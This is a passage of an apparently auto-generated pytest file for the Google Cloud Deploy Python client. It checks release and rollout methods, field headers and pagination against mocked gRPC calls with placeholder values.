_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetReleaseRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Release)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.skaffold_config_uri == "skaffold_config_uri_value"
assert response.skaffold_config_path == "skaffold_config_path_value"
assert response.render_state == cloud_deploy.Release.RenderState.SUCCEEDED
assert response.etag == "etag_value"
assert response.skaffold_version == "skaffold_version_value"
def test_get_release_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
client.get_release()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetReleaseRequest()
@pytest.mark.asyncio
async def test_get_release_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.GetReleaseRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Release(
name="name_value",
uid="uid_value",
description="description_value",
skaffold_config_uri="skaffold_config_uri_value",
skaffold_config_path="skaffold_config_path_value",
render_state=cloud_deploy.Release.RenderState.SUCCEEDED,
etag="etag_value",
skaffold_version="skaffold_version_value",
)
)
response = await client.get_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetReleaseRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Release)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.skaffold_config_uri == "skaffold_config_uri_value"
assert response.skaffold_config_path == "skaffold_config_path_value"
assert response.render_state == cloud_deploy.Release.RenderState.SUCCEEDED
assert response.etag == "etag_value"
assert response.skaffold_version == "skaffold_version_value"
@pytest.mark.asyncio
async def test_get_release_async_from_dict():
await test_get_release_async(request_type=dict)
def test_get_release_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetReleaseRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
call.return_value = cloud_deploy.Release()
client.get_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_release_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetReleaseRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Release()
)
await client.get_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_release_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Release()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_release(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_release_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_release(
cloud_deploy.GetReleaseRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_release_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Release()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Release()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_release(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_release_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_release(
cloud_deploy.GetReleaseRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.CreateReleaseRequest, dict,])
def test_create_release(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateReleaseRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_release_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
client.create_release()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateReleaseRequest()
@pytest.mark.asyncio
async def test_create_release_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.CreateReleaseRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateReleaseRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_release_async_from_dict():
await test_create_release_async(request_type=dict)
def test_create_release_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateReleaseRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_release_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateReleaseRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_release(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_release_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_release(
parent="parent_value",
release=cloud_deploy.Release(name="name_value"),
release_id="release_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].release
mock_val = cloud_deploy.Release(name="name_value")
assert arg == mock_val
arg = args[0].release_id
mock_val = "release_id_value"
assert arg == mock_val
def test_create_release_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_release(
cloud_deploy.CreateReleaseRequest(),
parent="parent_value",
release=cloud_deploy.Release(name="name_value"),
release_id="release_id_value",
)
@pytest.mark.asyncio
async def test_create_release_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_release), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_release(
parent="parent_value",
release=cloud_deploy.Release(name="name_value"),
release_id="release_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].release
mock_val = cloud_deploy.Release(name="name_value")
assert arg == mock_val
arg = args[0].release_id
mock_val = "release_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_release_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_release(
cloud_deploy.CreateReleaseRequest(),
parent="parent_value",
release=cloud_deploy.Release(name="name_value"),
release_id="release_id_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.ApproveRolloutRequest, dict,])
def test_approve_rollout(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ApproveRolloutResponse()
response = client.approve_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ApproveRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.ApproveRolloutResponse)
def test_approve_rollout_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
client.approve_rollout()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ApproveRolloutRequest()
@pytest.mark.asyncio
async def test_approve_rollout_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.ApproveRolloutRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ApproveRolloutResponse()
)
response = await client.approve_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ApproveRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.ApproveRolloutResponse)
@pytest.mark.asyncio
async def test_approve_rollout_async_from_dict():
await test_approve_rollout_async(request_type=dict)
def test_approve_rollout_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ApproveRolloutRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
call.return_value = cloud_deploy.ApproveRolloutResponse()
client.approve_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_approve_rollout_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ApproveRolloutRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ApproveRolloutResponse()
)
await client.approve_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_approve_rollout_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ApproveRolloutResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.approve_rollout(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_approve_rollout_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.approve_rollout(
cloud_deploy.ApproveRolloutRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_approve_rollout_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.approve_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ApproveRolloutResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ApproveRolloutResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.approve_rollout(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_approve_rollout_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.approve_rollout(
cloud_deploy.ApproveRolloutRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.ListRolloutsRequest, dict,])
def test_list_rollouts(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListRolloutsResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_rollouts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListRolloutsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListRolloutsPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_rollouts_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
client.list_rollouts()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListRolloutsRequest()
@pytest.mark.asyncio
async def test_list_rollouts_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.ListRolloutsRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListRolloutsResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_rollouts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListRolloutsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListRolloutsAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_rollouts_async_from_dict():
await test_list_rollouts_async(request_type=dict)
def test_list_rollouts_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListRolloutsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
call.return_value = cloud_deploy.ListRolloutsResponse()
client.list_rollouts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_rollouts_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListRolloutsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListRolloutsResponse()
)
await client.list_rollouts(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_rollouts_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListRolloutsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_rollouts(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_rollouts_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_rollouts(
cloud_deploy.ListRolloutsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_rollouts_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListRolloutsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListRolloutsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_rollouts(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_rollouts_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_rollouts(
cloud_deploy.ListRolloutsRequest(), parent="parent_value",
)
def test_list_rollouts_pager(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListRolloutsResponse(
rollouts=[
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
],
next_page_token="abc",
),
cloud_deploy.ListRolloutsResponse(rollouts=[], next_page_token="def",),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(),], next_page_token="ghi",
),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(), cloud_deploy.Rollout(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_rollouts(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, cloud_deploy.Rollout) for i in results)
def test_list_rollouts_pages(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_rollouts), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListRolloutsResponse(
rollouts=[
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
],
next_page_token="abc",
),
cloud_deploy.ListRolloutsResponse(rollouts=[], next_page_token="def",),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(),], next_page_token="ghi",
),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(), cloud_deploy.Rollout(),],
),
RuntimeError,
)
pages = list(client.list_rollouts(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_rollouts_async_pager():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_rollouts), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListRolloutsResponse(
rollouts=[
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
],
next_page_token="abc",
),
cloud_deploy.ListRolloutsResponse(rollouts=[], next_page_token="def",),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(),], next_page_token="ghi",
),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(), cloud_deploy.Rollout(),],
),
RuntimeError,
)
async_pager = await client.list_rollouts(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, cloud_deploy.Rollout) for i in responses)
@pytest.mark.asyncio
async def test_list_rollouts_async_pages():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_rollouts), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListRolloutsResponse(
rollouts=[
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
cloud_deploy.Rollout(),
],
next_page_token="abc",
),
cloud_deploy.ListRolloutsResponse(rollouts=[], next_page_token="def",),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(),], next_page_token="ghi",
),
cloud_deploy.ListRolloutsResponse(
rollouts=[cloud_deploy.Rollout(), cloud_deploy.Rollout(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_rollouts(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize("request_type", [cloud_deploy.GetRolloutRequest, dict,])
def test_get_rollout(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Rollout(
name="name_value",
uid="uid_value",
description="description_value",
target_id="target_id_value",
approval_state=cloud_deploy.Rollout.ApprovalState.NEEDS_APPROVAL,
state=cloud_deploy.Rollout.State.SUCCEEDED,
failure_reason="failure_reason_value",
deploying_build="deploying_build_value",
etag="etag_value",
)
response = client.get_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Rollout)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.target_id == "target_id_value"
assert response.approval_state == cloud_deploy.Rollout.ApprovalState.NEEDS_APPROVAL
assert response.state == cloud_deploy.Rollout.State.SUCCEEDED
assert response.failure_reason == "failure_reason_value"
assert response.deploying_build == "deploying_build_value"
assert response.etag == "etag_value"
def test_get_rollout_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
client.get_rollout()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetRolloutRequest()
@pytest.mark.asyncio
async def test_get_rollout_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.GetRolloutRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Rollout(
name="name_value",
uid="uid_value",
description="description_value",
target_id="target_id_value",
approval_state=cloud_deploy.Rollout.ApprovalState.NEEDS_APPROVAL,
state=cloud_deploy.Rollout.State.SUCCEEDED,
failure_reason="failure_reason_value",
deploying_build="deploying_build_value",
etag="etag_value",
)
)
response = await client.get_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Rollout)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.target_id == "target_id_value"
